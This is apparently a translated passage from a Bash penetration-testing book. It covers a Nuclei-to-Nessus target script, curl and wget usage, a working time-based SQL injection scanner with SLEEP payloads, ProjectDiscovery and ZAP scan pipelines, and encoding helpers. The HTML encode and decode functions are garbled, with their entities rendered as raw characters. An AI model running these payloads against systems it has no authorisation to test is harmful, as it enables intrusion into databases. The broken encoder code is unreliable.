Nessus(www.tenable.com/products/nessus)是系统管理员和安全专业人员常用的漏洞扫描器。在同一次我需要覆盖 DNS 并将从 Nuclei 扫描中解析出的子域添加到hosts文件的渗透测试中,我也需要为 Nessus 扫描完成相同的任务。我最终了解到 Nessus 并不使用hosts文件来解析域名。然而,我确实学到 Nessus 允许你通过指定目标格式为server1.example.com[192.168.1.1]来覆盖 DNS。以下代码将获取ch08_nuclei_01.sh脚本的输出,并将其转换为 Nessus 格式。示例代码可以在本章节文件夹中的ch08_nessus.sh文件中找到,该文件位于 GitHub 仓库中:
#!/usr/bin/env bash
if [ "$#" -ne 1 ]; then
echo "This script is intended for use with Nuclei scan output from the ssl-dns-names template." echo "The related Nuclei scan command is: nuclei -t \"$HOME/nuclei-templates/ssl/ssl-dns-names.yaml\" -nc -silent -u [IP or network address] -o [output file]"
echo "Usage: $0 /path/to/file"
exit 1
fi
这段代码简单地检查是否有正好一个命令行参数传递给脚本。如果没有传入一个参数,则打印用法并退出。任何非零的exit代码都视为错误。当你的脚本逻辑需要确定前一个命令或脚本是否成功执行后再运行下一个命令时,这一点非常重要。
seen_hostnames=()
上面的代码创建了一个数组,用来跟踪唯一的主机名。
while read -r line; do
上面的代码读取文件并处理每一行。
ip=$(echo "$line" | cut -d ' ' -f 4 | cut -d ':' -f 1)
这段代码读取每一行输入,使用 cut 选择第四个字段,即 IP 地址。结果是一个由冒号分隔的 IP 地址和端口。最后的 cut 语句将两者分开,选择 IP 地址并将其赋值给 ip 变量。
hostnames=$(echo "$line" | cut -d ' ' -f 5 | awk -F'[][]' '{print $2}')
这行代码将数据按空格分隔为字段,并选择第五个字段。然后选择方括号内的数据并将其赋值给 hostnames 变量。
IFS=',' read -ra ADDR <<< "$hostnames"
这行代码将逗号设置为字段分隔符,并将每个主机名读取到 ADDR 数组中。
for hostname in "${ADDR[@]}"; do
# Remove leading and trailing whitespace
hostname=$(echo "$hostname" | xargs)
这段代码移除主机名的前导和尾随空格。默认情况下,xargs 会修剪前导和尾随空白,并将任何空白字符序列减少为单个空格。
if [[ "${hostname:0:1}" != "*" ]]; then
上面的代码检查主机名的第一个字符是否不是星号。
if [[ ! " ${seen_hostnames[@]} " =~ " ${hostname} " ]]; then
这段代码检查hostname变量的值是否不存在于seen_hostnames数组中。
seen_hostnames+=("$hostname")
这段代码如果前面的 if 语句评估为 true(hostname 变量值不在 seen_hostnames 数组中),则将主机名添加到 seen_hostnames 数组中。
echo "$hostname[$ip]"
fi
fi
done
done < "$1"
这段代码打印所需格式的主机名和 IP,然后关闭 if** / **fi 和 do** / **done 代码块。done < "$1" 代码将命令行参数作为输入传递给代码块。
该脚本的输出可以复制到 Nessus 扫描目标列表中,输出如图所示:
图 8.14 – Nessus 脚本的输出
这将允许你让 Nessus 覆盖 DNS,通过解析到你指定的 IP 地址的主机名进行扫描。
总结
在本章中,你了解了侦察和信息收集的关键阶段,重点讲解了如何发现目标组织拥有的各种资产。本章为你提供了使用 Bash 脚本进行彻底侦察的知识和工具,为后续的主动评估阶段奠定了基础。
基于本章所学的侦查技能,第九章将引导你了解如何在网页应用渗透测试中应用 Bash 脚本。由于网页应用通常是由于其可访问性和潜在漏洞而成为关键目标,本章将重点介绍使用 Bash 及相关工具识别、利用和记录网页应用中的安全弱点的各种技术。
第九章:使用 Bash 进行 Web 应用程序渗透测试
本章探讨如何使用 Bash 进行 Web 应用程序渗透测试。我们将了解 Bash 的灵活性如何帮助你发现漏洞、自动化任务、分析响应并管理 Web 数据。通过本章的学习,你将能够使用 Bash 发现和利用常见的 Web 漏洞,高效提取数据,并与其他渗透测试工具集成进行全面的 Web 评估。
一般来说,进行 Web 应用程序安全测试有五个使用场景:
-
深入测试单个 Web 应用程序
-
在网络渗透测试期间,快速测试(自动化扫描)多个 Web 应用程序
-
创建脚本进行漏洞模糊测试
-
创建概念验证(PoC)漏洞利用
-
持续集成和持续交付/部署(CI/CD)测试
本章重点讨论第二、第三和第四种使用场景。如果我要测试第一个使用场景,我会更倾向于使用浏览器代理工具,如ZED 攻击代理(www.zaproxy.org),也称为ZAP,或 Burp Suite(portswigger.net/burp)。这些工具可以让测试人员深入探索应用程序。对于 ZAP,它允许你在 Bash 终端中运行工具,而不显示图形用户界面(GUI),以自动化扫描。我将在本章稍后展示如何在终端中使用 ZAP。
本章将涵盖以下主要内容:
-
在 Bash 中自动化 HTTP 请求
-
使用 Bash 分析 Web 应用程序安全
-
学习高级数据处理技术
技术要求
第一个前提是你从第一章开始阅读,并且能访问到 Bash shell。你应该使用 Kali Linux,正如第一章中所讨论的那样。如果你使用其他操作系统,跟随本书内容会比较困难。
在继续之前,请确保已安装ProjectDiscovery工具:github.com/PacktPublishing/Bash-Shell-Scripting-for-Pentesters/tree/main/Chapter01#install-project-discovery-tools
运行以下命令以配置软件前提条件:
$ sudo apt update && sudo apt install -y zaproxy curl wget parallel chromium
$ sudo apt remove python3-httpx
必须移除httpx条目,因为该命令名称与 ProjectDiscovery 的httpx命令发生冲突。
本章的代码可以在github.com/PacktPublishing/Bash-Shell-Scripting-for-Pentesters/tree/main/Chapter09找到。
如果你想要跟随本节内容,互动演示如何使用curl来自动化测试SQL 注入(SQLi),你需要安装Damn Vulnerable Web Application(DVWA),可以在github.com/digininja/DVWA找到。我将在 Docker 中运行 DVWA,这是启动应用程序的最快方式。在演示nuclei扫描时,我还将使用 Vulhub(github.com/vulhub/vulhub)。
在 Bash 中自动化 HTTP 请求
任何关于在终端中进行 HTTP 请求的严肃讨论都必须从curl开始。curl工具是一个命令行工具,用于使用各种协议(如 HTTP、HTTPS、FTP 等)向服务器发送或从服务器接收数据。它在渗透测试中广泛使用,用来与 Web 应用程序交互,发送自定义请求以发现漏洞。你可以访问curl的官方网站,了解更多信息:curl.se。
我相信大多数渗透测试人员更倾向于使用像 ZAP 或 Burp 这样的浏览器代理,或者使用 Python 脚本进行 Web 应用程序测试。然而,了解如何在 Bash shell 中使用curl也非常有用。在我写这章的时候,有位我合作过的人联系我,求我帮忙在 Bash 中重现一个 Metasploit HTTP 漏洞模块,因为他们无法在测试环境中安装 Metasploit 或任何 Python 模块。测试环境中虽然没有这些,但却安装了 Bash 和常见的命令行工具,比如curl。
这里是一些常用的curl选项,渗透测试人员会觉得很有用:
-
-X或--request:指定请求方法(GET、POST、PUT、DELETE等) -
-d或--data:使用POST请求发送数据 -
-H或--header:向服务器传递自定义头部 -
-I或--head:只显示响应头信息 -
-u或--user:包括用户身份验证 -
-o或--output:将输出写入文件 -
-s或--silent:静默模式(不显示进度条或错误消息) -
-k或--insecure:在使用 SSL 时允许不安全的服务器连接 -
-L或--location:跟踪重定向 -
-w或--write-out <format>:使curl在传输完成后显示信息到stdout格式是一个字符串,可以包含纯文本与任意数量的变量。
-
-Z或--parallel:使curl以并行方式进行传输,而不是常规的串行方式
在本节中,我们将涵盖上述选项的使用示例。
GET和POST请求是最常见的 HTTP 请求方法。还有很多其他方法。要了解更多,请参见developer.mozilla.org/en-US/docs/Web/HTTP/Methods。
GET请求用于从服务器检索信息。以下是如何使用curl发出GET请求:curl -X** **GET example.com 。
这是该命令的解释:
-
curl:调用curl命令 -
-X GET:指定请求方法为GET -
https://example.com:目标服务器的 URL
POST请求用于将数据发送到服务器的请求体中。下面是一个示例:curl -X POST https://example.com/login -** **d "username=user&password=pass" 。
以下几点解释了该命令:
-
-X POST:指定请求方法为POST -
-d "username=user&password=pass":随请求一起发送数据
GET请求和POST请求之间的关键区别是数据发送到服务器的方式。GET请求将数据作为参数发送到 URL。一个原始的GET请求如下所示:
图 9.1 – 一个示例的 GET 请求
在之前的图中,关键部分是第一行,它以GET方法开始,后面跟着相对 URL(/admin/report?year=2024&month=7)和 HTTP 规范(HTTP/2)。如图所示,数据作为year和month参数发送到服务器。
POST请求方法将数据发送到请求的主体中。一个原始的POST请求看起来类似于以下图所示:
图 9.2 – 一个示例的 POST 请求
在之前的图中,关键点是数据是在请求体中发送到服务器的(最后一行),这在头信息之后(关键词: 值对)进行。
许多 Web 应用程序需要身份验证头。以下是如何将其包含在请求中:curl -X GET https://example.com/protected -H "Authorization:** **Bearer <token>" 。
你可以使用--data-binary选项从文件中发送数据:curl -X POST https://example.com/upload --** **data-binary @file.txt 。
通常,渗透测试人员需要组合多个选项来构建特定的请求。以下是一个高级示例:curl -X POST https://example.com/api -H "Authorization: Bearer <token>" -H "Content-Type: application/json" -** **d @data.json 。
以下几点解释了之前的命令:
-
-H "Content-Type: application/json":指定所发送数据的内容类型 -
-d @data.json:将data.json的内容随请求一起发送
处理 HTTP 响应对于分析 Web 应用程序的行为至关重要:
#!/usr/bin/env bash
response=$(curl -s -o /dev/null -w "%{http_code}" https://example.com)
if [ "$response" -eq 200 ]; then
echo "Request was successful." else
echo "Request failed with response code $response." fi
让我们更仔细地看一下代码:
-
response=$(...):它将 HTTP 响应码捕获到一个变量中。 -
-s -o /dev/null -w "%{http_code}":静默模式,丢弃输出,仅打印 HTTP 响应码。有关-w选项及其使用的更多信息,请参见curl.se/docs/manpage.html#-w。 -
if块分析响应码。如果响应码是200,则表示请求成功。
渗透测试人员经常需要自动化多个请求。以下是使用循环的示例:
for i in {1..10}; do
curl -X GET "https://example.com/page$i" -H "Authorization: Bearer <token>"
done
让我们分解代码并理解它:
-
for i in {1..10}:从 1 循环到 10 -
"https://example.com/page$i":动态构造每次迭代的页面编号的 URL
有时,你只想检查 HTTP 响应头并丢弃其余部分:curl -** **I "https://www.example.com/
这里是一个示例:
图 9.3 – 捕获 HTTP 请求的头部
提示
如果在 Bash shell 中创建 HTTP 请求时遇到错误,可以通过代理发送请求或保存数据包捕获以帮助故障排除。这将帮助你查看发送和接收的数据,可能由于编码问题,看起来与预期不同。
现在你已经掌握了使用 curl 进行 HTTP 请求的基本知识,让我们开始实际应用这些知识,看看一个真实世界的案例。接下来的示例将展示如何使用 Bash 脚本进行 SQL 注入有效负载的测试。示例代码可以在 GitHub 仓库中本章文件夹下的 ch09_sqliscanner.sh 文件中找到。和之前的章节一样,我会将脚本分成几个部分进行讲解,这样你可以更好地理解代码。你可以考虑在另一屏幕上打开 GitHub 上的代码,或者使用分屏模式,以便在我们逐行讲解每段代码时,能更好地理解脚本结构。
以下代码是一个检查 curl 和 parallel 依赖项是否安装的函数。如果没有安装,则打印错误消息并退出:
#!/usr/bin/env bash
check_dependencies() {
for cmd in curl parallel; do
if ! command -v $cmd &> /dev/null; then
echo "$cmd could not be found. Please install it." exit 1
fi
done
}
print_usage 函数包含脚本的使用说明:
print_usage() {
echo "Usage: $0 -u URL -c COOKIE_HEADER"
echo " $0 -f URL_FILE -c COOKIE_HEADER"
echo "URL must contain 'FUZZ' where payloads should be inserted." }
在脚本的另一部分,如果没有提供正确的命令行参数,它会调用此函数,并打印使用说明。
perform_sql_test 函数设置了两个局部变量并将它们初始化为传递的两个函数参数:
perform_sqli_test() {
local url=$1
local cookie_header=$2
在以下代码中,我们确保 URL 包含 FUZZ 以便插入有效负载;否则,打印错误信息并退出:
if [[ $url != *"FUZZ"* ]]; then
echo "Error: URL must contain 'FUZZ' where payloads should be inserted." print_usage
exit 1
fi
这里我们定义一个 SQL 注入有效负载的数组:
local payloads=(
"(SELECT(0)FROM(SELECT(SLEEP(7)))a)"
"'XOR(SELECT(0)FROM(SELECT(SLEEP(7)))a)XOR'Z"
"' AND (SELECT 4800 FROM (SELECT(SLEEP(7)))HoBG)--"
"if(now()=sysdate(),SLEEP(7),0)"
"'XOR(if(now()=sysdate(),SLEEP(7),0))XOR'Z"
"'XOR(SELECT CASE WHEN(1234=1234) THEN SLEEP(7) ELSE 0 END)XOR'Z"
)
在以下代码中,我们循环遍历有效负载数组:
for payload in "${payloads[@]}"; do
start_time=$(date +%s)
起始时间被保存到 start_time 变量,以便在循环结束时参考。
fuzzed_url 变量被赋值为 ${url//FUZZ/$payload} 参数展开的结果:
fuzzed_url=${url//FUZZ/$payload}
这是 Bash 中用于字符串操作的参数展开语法。它告诉 Bash 将 url 变量中所有出现的 FUZZ 字符串替换为当前的 $payload 值。
这里我们根据命令行参数,决定是否带有 Cookie 头部发送请求到模糊化的 URL:
if [ -n "$cookie_header" ]; then
curl -s -o /dev/null --max-time 20 -H "Cookie: $cookie_header" "$fuzzed_url"
else
curl -s -o /dev/null --max-time 20 "$fuzzed_url"
fi
以下代码计算请求的持续时间:
end_time=$(date +%s)
duration=$((end_time - start_time))
以下代码检查请求时长是否表明存在潜在的基于时间的 SQL 注入漏洞:
if ((duration >= 7 && duration <= 16)); then
echo "Potential time-based SQL injection vulnerability detected on $url with payload: $payload"
break
fi
done
}
export -f perform_sqli_test
每个有效负载中都包含了 7 秒的值。根据网络条件和服务器负载,我们预计响应时间至少需要 7 秒或更长时间。我们将函数导出,以便在 shell 中调用。
在这里,我们通过从文件中读取或使用单个 URL 来处理 URL 列表:
process_urls() {
local url_list=$1
local cookie_header=$2
if [ -f "$url_list" ]; then
cat "$url_list" | parallel perform_sqli_test {} "$cookie_header"
else
perform_sqli_test "$url_list" "$cookie_header"
fi
}
接下来,我们调用在脚本开头定义的check_dependencies函数:
check_dependencies
以下代码解析命令行参数中的 URL、URL 文件和 cookie 头:
while getopts "u:f:c:" opt; do
case $opt in
u) URL=$OPTARG ;;
f) URL_FILE=$OPTARG ;;
c) COOKIE_HEADER=$OPTARG ;;
*) echo "Invalid option: -$OPTARG" ;;
esac
done
在这里,我们验证输入并确保提供了 URL 或 URL 文件:
if [ -z "$URL" ] && [ -z "$URL_FILE" ]; then
echo "You must provide a URL with -u or a file containing URLs with -f." print_usage
exit 1
fi
接下来,我们根据提供的输入处理这些 URL:
if [ -n "$URL" ]; then
process_urls "$URL" "$COOKIE_HEADER"
elif [ -n "$URL_FILE" ]; then
process_urls "$URL_FILE" "$COOKIE_HEADER"
fi
当一个有效负载的响应时间超过 7 秒时,终端中会显示以下输出,打印触发 SQLi 的 URL 和有效负载:
图 9.4 – 成功的 SQLi URL 和有效负载被打印到终端
提示
当在curl请求中包含身份验证 cookie 或令牌时,请注意-b和-H选项之间的区别。如果使用-b,curl会在请求中插入Cookie:,后面跟上你指定的 cookie 值。如果使用-H,则需要提供完整的值。参见图 9.4中的-b参数,我在其中省略了Cookie头的开头,并与图 9.5进行比较。
图 9.5 – Cookie 头被高亮显示以强调重点
在了解curl之后,我想简单提一下wget。curl和wget都是用于从互联网下载文件的命令行工具,但它们有不同的功能和应用场景。
以下是curl的特点:
-
设计用于使用 URL 语法传输数据
-
支持广泛的协议(HTTP、HTTPS、FTP、SFTP、SCP 等)
-
可以使用各种 HTTP 方法(
GET、POST、PUT、DELETE等)向服务器发送数据 -
支持上传文件
-
更适合进行与 API 交互等复杂操作
以下是wget的特点:
-
主要用于从网页下载文件
-
支持 HTTP、HTTPS 和 FTP 协议
-
可以递归下载文件,这使得它适用于网站镜像
-
设计用于通过重试下载来处理不可靠的网络连接
-
更适合批量下载和网站镜像
wget的最直接用法是从 URL 下载单个文件:
$ wget http://example.com/file.zip
你可以使用-O选项指定下载文件的不同名称:
$ wget -O newname.zip http://example.com/file.zip
如果下载被中断,你可以使用-c选项继续下载:
$ wget -c http://example.com/file.zip
你可以使用-b选项在后台下载文件:
$ wget -b http://example.com/file.zip
你可以使用-r(递归)和-p(页面所需)选项来镜像一个网站。-k选项会将链接转换为适合本地查看的形式:
$ wget -r -p -k http://example.com/
你可以使用 --** **limit-rate 选项限制下载速度:
$ wget --limit-rate=100k http://example.com/file.zip
你可以使用 -** **A 选项下载具有特定文件扩展名的文件:
$ wget -r -A pdf http://example.com/
在本节中,你学习了最常用的 curl 和 wget 选项,并检查了它们的常见用法。在 Bash 脚本中使用 curl 和 wget 允许渗透测试人员高效地与 Web 应用交互,发送定制的请求以识别和利用漏洞。掌握这些选项和技巧是有效进行 Web 应用渗透测试的关键。
下一部分将展示如何使用更高级的网页应用渗透测试工具,你可以在 Bash shell 中使用这些工具,例如各种 ProjectDiscovery 工具,以及运行命令行 ZAP 扫描。
使用 Bash 分析 Web 应用安全性
本节将介绍你应该在工具箱中拥有的用于 Web 应用安全测试的常见命令行工具。
ProjectDiscovery
ProjectDiscovery 维护着一系列可以在 Bash shell 中运行的命令行工具。这些工具旨在通过 shell 管道接受输入并传递输出,允许你将多个工具串联在一起。它们最受欢迎的工具包括以下内容:
-
nuclei:一个开源漏洞扫描器,使用 YAML 模板 -
nuclei-templates:用于nuclei引擎查找安全漏洞的模板 -
subfinder:一个被动子域枚举工具 -
httpx:一个 HTTP 工具包,允许发送探针以识别 HTTP 服务 -
cvemap:一个用于搜索 CVE 的命令行工具 -
katana:一个网页爬虫和蜘蛛框架 -
naabu:一个易于与其他 ProjectDiscovery 工具集成的端口扫描器 -
mapcidr:一个实用程序,用于对给定子网/CIDR 范围执行多个操作
你可以在 github.com/projectdiscovery 找到 ProjectDiscovery 工具。
一个结合这些工具的示例工作流程会从 mapcidr 开始,将网络地址扩展为单个 IP 地址,管道传输到 naabu 扫描开放端口,再传输到 httpx 发现 Web 服务,最后传输到 nuclei 检测已知漏洞。
让我们分别检查这些工具中的一些,然后再实验它们如何在链中一起使用。
mapcidr 工具通过 stdin 接受输入。以下是一个示例用法:
$ echo 10.2.10.0/24 | mapcidr -silent
示例输出如下面的图所示:
图 9.6 – mapcidr 使用示例
在前面的图中,我使用 Bash shell 的管道(|)操作符将网络地址传递给 mapcidr 工具的输入。输出包含将网络地址扩展为单个 IP 地址。
提示
默认情况下,所有 ProjectDiscovery 工具都会输出横幅。由于我们将每个工具的输出传递给下一个工具的输入,这是不希望的行为。使用 -silent 选项来抑制横幅。
naabu工具是 ProjectDiscovery 工具,用于扫描开放端口。您可以包括命令行选项,在每个开放端口之后执行nmap扫描,此外还包括许多其他选项。naabu的优势在于它能够适配命令管道,将一个 ProjectDiscovery 工具的stdout输出传递给下一个工具的stdin输入。在默认配置下,naabu扫描的端口数量有限。不过,命令行选项包括指定端口列表或范围的功能:
图 9.7 – 执行的 naabu 端口扫描示例
ProjectDiscovery 的httpx工具探测开放端口上的监听 HTTP 服务器:
图 9.8 – 执行的 httpx 扫描示例
在前面的图中,我使用 Bash shell 管道(|)操作符将 IP 地址10.2.10.1传送到naabu的stdin输入。我加入了静默选项(-silent)以抑制横幅输出,后面接着一个端口列表(-p)。输出通过-silent选项传送到httpx工具。https的输出是一组 HTTP URL。
ProjectDiscovery 的nuclei工具用于扫描已知漏洞和配置错误。nuclei模板还包括模糊测试模板,用于扫描属于常见漏洞类别的未知漏洞,如跨站脚本(XSS)和 SQL 注入(SQLi)。
下图展示了nuclei扫描:
图 9.9 – 执行的 nuclei 扫描示例,通过管道命令
提示
ProjectDiscovery 工具比我展示的功能要强大得多。你确实应该花时间深入探索文档。这些工具是任何渗透测试人员或漏洞赏金猎人的重要工具箱之一。
ProjectDiscovery 的katana工具用于爬取或蜘蛛抓取 Web 应用程序,并打印发现的 URL。下图展示了如何使用katana工具爬取网站:
图 9.10 – 使用 katana 工具爬取网站
在下图中,我演示了将katana爬取输出通过管道(|)传输到nuclei扫描,并使用模糊测试模板(-dast选项)。检测到并在工具输出中显示了 XSS 漏洞:
图 9.11 – Katana 输出通过管道传输到 nuclei 扫描
提示
在运行连接网站的 Bash shell 工具时,始终更改用户代理,如前面图示所示。如果使用默认的用户代理,您很容易被阻止。
当然,你并不限于将 ProjectDiscovery 工具的输出传递给其他 ProjectDiscovery 工具。此命令使用 Bash 管道将httpx的输出传递给dirsearch来发现内容:
$ echo 10.2.10.1 | naabu -silent -p 4712,5005,5555,8080,8090,8111 | httpx -silent | dirsearch --stdin --full-url -q -o dirsearch.csv --format=csv
让我们来看一下这个解释:
-
和之前一样,我回显 IP 地址并将其传递给
naabu的输入,使用静默选项并提供端口列表 -
naabu端口扫描的输出通过管道传递给httpx -
从
httpx获得的 URL 输出通过管道传递给dirsearch进行内容发现 -
dirsearch选项接受来自stdin(--stdin)的输入,输出完整的 URL(--full-url),抑制打印任何横幅(-q),并将输出(-o)保存到 CSV 格式的文件中(--format=csv)
我常用的一个awk过滤器,用于从 CSV 文件中仅显示 200 或 302 响应,使用逗号作为字段分隔符(-F','),并过滤第二个字段以显示 200 或 302 响应,具体如下:
$ awk -F',' '$2 == 200 || $2 == 302 {print $0}' dirsearch.csv
ProjectDiscovery 工具非常适合发现已知的漏洞和配置错误。最近的一次更新扩展了nuclei的模糊测试功能,能够发现漏洞。然而,对于更全面的 Web 应用漏洞扫描,我建议使用 ZAP。可以把这些工具看作是互为补充的。接下来,我们继续探索 ZAP 扫描。
使用 ZAP 进行命令行扫描
ZAP 是一个 Web 应用漏洞扫描器和浏览器代理。
ZAP 的 GUI 组件可以从 GUI 系统菜单或终端使用zaproxy命令启动。然而,本节将重点讲解如何运行/usr/share/zaproxy/zap.sh命令行扫描器。
在 Bash 终端中输入此命令以检查 ZAP 命令行选项:
$ /usr/share/zaproxy/zap.sh -h
我在任何 Web 应用渗透测试开始时都会运行的一个命令是zapit。它执行一个快速侦察扫描,输出中列出了 Web 应用程序的重要细节。在运行zapit之前,你必须使用以下命令安装wappalyzer附加组件:
$ /usr/share/zaproxy/zap.sh -cmd -addoninstall wappalyzer
你只需运行一次附加组件安装命令。接下来,运行zapit扫描。在这个例子中,我正在扫描我的实验室中的一个应用程序:
图 9.12 – 一个 zapit 扫描指纹识别 Web 应用
提示
你可以在这里找到大量适用于你实验室的易受攻击的 Web 应用程序。
在前面的图中,你可以看到zapit扫描显示了Technology部分中的应用程序框架以及Number of alerts部分中的一些有趣信息。这是任何应用程序渗透测试所需的关键信息。
接下来,让我们运行该应用程序的漏洞扫描。对于输出参数值(-quickout),我们使用$(pwd)来指定路径,并将报告保存到当前工作目录,因为我们没有权限写入/usr/share/zaproxy:
$ /usr/share/zaproxy/zap.sh -cmd -addonupdate -quickurl http://10.2.10.1:5555/ -quickout $(pwd)/zap.json
让我们来看一下输出:
图 9.13 – 检查 ZAP 快速扫描输出的 JSON 格式
ZAP 扫描输出可以保存为 HTML、JSON、Markdown 和 XML 格式。对于可读性强的输出,建议使用 HTML 报告。对于依赖于 Bash 脚本解析输出的自动化框架,使用 JSON 或 XML 格式。
本节介绍了在 Bash shell 中使用 ProjectDiscovery 和 ZAP 的常见用例。我们这里只是略微介绍了一下。ProjectDiscovery 工具和 ZAP 中还有许多其他选项,包括使用凭证配置自动化扫描。
下一节将探索使用 Bash 别名和函数来转换与 Web 应用程序渗透测试相关的数据。
学习高级数据处理技巧
本节将探索常见的 Web 应用程序安全测试中使用的数据编码、加密和哈希算法。你可以将这些功能放入你的 .bashrc 文件中,并在脚本中调用它们。以下函数可以在本章的 GitHub 仓库中找到,文件名为 ch09_data_functions.sh。
Base64 编码是一种将二进制数据转换为 ASCII 字符串格式的方法,通过将其编码为 Base64 表示形式。该编码使用一组 64 个字符,包括大写字母和小写字母(A-Z,a-z)、数字(0-9)以及符号 + 和 / 来表示数据。Base64 编码的主要目的是确保二进制数据(如图像或文件)能够安全地通过设计用于处理文本数据的媒介(如电子邮件和 URL)传输,而不会发生损坏。Base64 编码还使用 = 字符进行填充,确保编码后的数据是 4 字节的倍数,从而在传输和存储过程中保持数据完整性。在 Bash 中,Base64 编码非常简单。
这是一个 Base64 编码示例:
$ echo -n hello | base64
aGVsbG8=
以下是一个 Base64 解码示例:
$ echo -n aGVsbG8= | base64 -d
hello
Base64 编码和 Base64 URL 安全编码是将二进制数据转换为文本字符串的方法,但它们在字符集和预期用途上有所不同。Base64 编码使用一组 64 个字符,包括大写字母和小写字母(A-Z, a-z)、数字(0-9)以及两个特殊字符(+ 和 /)。这种编码通常用于编码需要存储或通过设计用于处理文本数据的媒介传输的数据。然而,+ 和 / 字符在 URL 中不安全,可能会在 URL 或文件名中使用时引发问题。为了解决这个问题,Base64 URL 安全编码通过将 + 替换为 -(连字符)和 / 替换为 _(下划线),并通常省略填充字符(=),以确保编码后的数据可以安全地包含在 URL 和文件名中,而不会出现误解或错误。
这个函数将数据编码为 URL 安全的 Base64 表示形式:
url_safe_base64_encode() {
base64 | tr '+/' '-_' | tr -d '='
}
这里演示了 URL 安全的 Base64 解码:
url_safe_base64_decode() {
tr '-_' '+/' | base64 --decode
}
gzip 数据格式广泛用于 HTTP 通信中,用来压缩在 Web 服务器和客户端之间传输的数据,从而提高数据传输效率。当 Web 服务器向客户端(如 Web 浏览器)发送数据时,可以使用 gzip 来压缩内容,显著减少文件大小,从而加快下载速度。压缩后的数据包括带有元数据的头部、压缩内容以及带有 循环冗余校验 32(CRC-32)校验和的尾部,用于验证数据完整性。支持 gzip 的客户端(通过 Accept-Encoding: gzip HTTP 头标识)可以使用 gunzip 解压收到的内容,以显示或处理原始数据。此压缩方法有助于提高加载时间、减少带宽使用并增强整体 Web 性能。
gzip 程序通常在 Linux 系统中默认安装。以下是一些示例,展示了如何在 Bash shell 中压缩和解压数据:
图 9.14 – 压缩和解压数据的演示
消息摘要算法 5(MD5)哈希是一种广泛使用的加密哈希函数,生成一个 128 位(16 字节)哈希值,通常表示为一个 32 字符的十六进制数字。MD5 接受一个输入(或 消息),并返回一个固定大小的字符字符串,该字符串对于输入数据是唯一的。然而,由于 MD5 容易发生哈希碰撞(即两个不同的输入产生相同的哈希输出),它被认为较弱。由于这个原因,MD5 不再推荐用于安全关键的应用,更多安全的算法,如 安全哈希算法 256 位(SHA-256)被更倾向于用于哈希目的。
以下函数创建一个字符串的 MD5 哈希:
md5_hash() {
md5sum | awk '{print $1}'
}
以下是另一个例子:
$ echo helloworld | md5_hash
d73b04b0e696b0945283defa3eee4538
SHA-256 是一种加密哈希函数,它将任何输入数据生成一个固定大小的 256 位(32 字节)哈希值,通常表示为一个 64 字符的十六进制数字。SHA-256 由国家安全局(NSA)开发,属于 SHA-2 家族的一部分,SHA-256 接受输入并生成唯一的输出,像是数据的数字指纹。它的设计目标是使反向过程或找到两个不同输入生成相同哈希(碰撞)变得计算上不可行。这使得 SHA-256 在验证数据完整性和真实性方面高度安全可靠,因此广泛应用于各种安全应用中,包括 SSL/TLS 证书、数字签名和区块链技术。
该函数打印输入的 SHA-256 哈希:
sha256_hash() {
sha256sum | awk '{print $1}'
}
请参见以下示例:
$ echo helloworld | sha256_hash
8cd07f3a5ff98f2a78cfc366c13fb123eb8d29c1ca37c79df190425d5b9e424d
高级加密标准 256 位密钥(AES-256)是一种广泛用于保护数据的对称加密算法。它通过使用秘密密钥将明文数据转换为密文,从而确保只有拥有相同密钥的人才能解密并访问原始信息。AES-256 中的 256 指的是加密密钥的长度,即 256 位,这使得使用暴力破解极为困难。AES-256 以其强大的安全性和高效性而闻名,因此它在保护敏感数据的应用中得到广泛使用,例如安全文件存储、互联网通信和金融交易。
以下是 AES 加密函数:
aes_encrypt() {
local password="$1"
openssl enc -aes-256-cbc -base64 -pbkdf2 -pass pass:"$password"
}
这个函数必须按如下方式调用:echo "data to be encrypted" |** **aes_encrypt "password"。
这是一个 AES 解密函数:
aes_decrypt() {
local password="$1"
openssl enc -aes-256-cbc -d -base64 -pbkdf2 -pass pass:"$password"
}
openssl 命令指定了使用 Cipher Block Chaining(CBC)模式的 256 位密钥大小的 AES 算法。-d 选项表示解密。-pbkdf2 选项表示使用 基于密码的密钥派生函数 2(PBKDF2)算法从密码派生加密密钥。这通过应用计算密集型函数进行迭代,增强了安全性,使暴力破解变得更加困难。
类似于加密函数,解密数据必须通过 stdin 管道传入,解密密码必须随之提供:echo "data to be decrypted" |** **aes_decrypt "password"。
这里是一个 AES-256 加密和解密的示例:
$ echo "data to be encrypted" | aes_encrypt 'Passw0rd!' | aes_decrypt 'Passw0rd!' data to be encrypted
HTML 编码是将 HTML 中的特殊字符转换为其相应字符实体的过程,以确保它们在网页浏览器中正确显示。这是必要的,因为某些字符,如 <、>、& 和 ",在 HTML 语法中有特定的含义,如果不正确编码,可能会破坏 HTML 文档的结构。例如,< 用于开始一个标签,因此将其编码为 < 可以防止它被解释为 HTML 标签的开始。相反,HTML 解码则是将这些字符实体转换回其原始字符。这个过程对于网页安全和功能至关重要,因为它可以防止 HTML 注入攻击,并确保内容在没有意外格式或行为的情况下正确呈现。通过编码特殊字符,开发人员可以安全地将用户生成的内容、代码片段或其他数据包含在 HTML 文档中,而不会危及网页的完整性。
以下 HTML 函数对输入进行编码:
html_encode() {
local input
input=$(cat)
input="${input//\&/\&}"
input="${input//\</\<}"
input="${input//\>/\>}"
input="${input//\"/\"}"
input="${input//\'/\'}"
echo "$input"
}
提醒
以下字符在作为字符串的一部分时必须进行转义,如 html_encode 和 html_encode 函数所示:\,$,```,',",&,*,?,(,),{,},[,],|,;,<,>,!,#,~,^。
当字符用于单引号内时,通常不需要对它们进行转义。
这是转义这些字符的示例:
$ echo 'hello<script>world' | html_encode
hello<script>world
下面是相应的解码函数:
html_decode() {
local input
input=$(cat)
input="${input//\'/\'}"
input="${input//\"/\"}"
input="${input//\>/\>}"
input="${input//\</\<}"
input="${input//\&/\&}"
echo "$input"
}
这里是一个 HTML 解码数据的示例:
$ echo 'hello<script>world' | html_decode
hello<script>world
本节展示了如何使用 Bash 转换在 Web 应用程序渗透测试中常见的数据格式。提前将这些函数添加到你的 .bashrc 文件中,你将准备好解决渗透测试中最复杂的数据处理任务。
总结
你不能总是依赖于在测试环境中安装工具或编程库。Bash 脚本提供了一种方法,利用内置的 shell 和工具几乎可以完成任何任务。回顾我的职业生涯,曾有很多次我觉得在没有安装额外工具的情况下无法完成测试,或者不得不使用其他语言(如 Python)编写工具。这一切源于我对 Bash 脚本的不了解。掌握了这些知识后,你就准备好使用 Bash 应对最复杂的 Web 应用测试挑战。
在下一章中,我们将探讨如何使用 Bash 进行网络和基础设施渗透测试。